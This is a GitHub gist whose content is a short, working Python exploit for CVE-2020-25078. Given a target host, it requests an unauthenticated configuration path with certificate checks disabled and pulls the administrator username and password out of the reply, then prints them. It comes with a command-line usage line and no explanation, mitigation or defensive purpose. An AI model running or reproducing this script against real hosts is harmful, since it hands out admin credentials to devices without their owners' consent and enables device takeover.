Skip to content

Instantly share code, notes, and snippets.

@Udyz
Created April 18, 2021 18:25
Show Gist options
  • Select an option

  • Save Udyz/9cfd56d661c4a97a002d036d00e6073f to your computer and use it in GitHub Desktop.

Select an option

Save Udyz/9cfd56d661c4a97a002d036d00e6073f to your computer and use it in GitHub Desktop.
CVE-2020-25078.py
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import sys
def exploit(url):
vuln = url + '/config/getuser?index=0'
r = requests.get(vuln, verify=False, timeout=5)
if r.status_code == 200 and 'priv=1' in r.text:
user = r.text.split('name=')[1].split('\r\npass')[0]
pwd = r.text.split('\r\npass=')[1].split('\r\npriv')[0]
total = '{URL} | {USR}:{PWD}'.format(URL=url, USR=user, PWD=pwd)
print(total.replace('\n', ''))
try:
exploit(sys.argv[1])
except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
pass
#python CVE-2020-25078.py <host>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment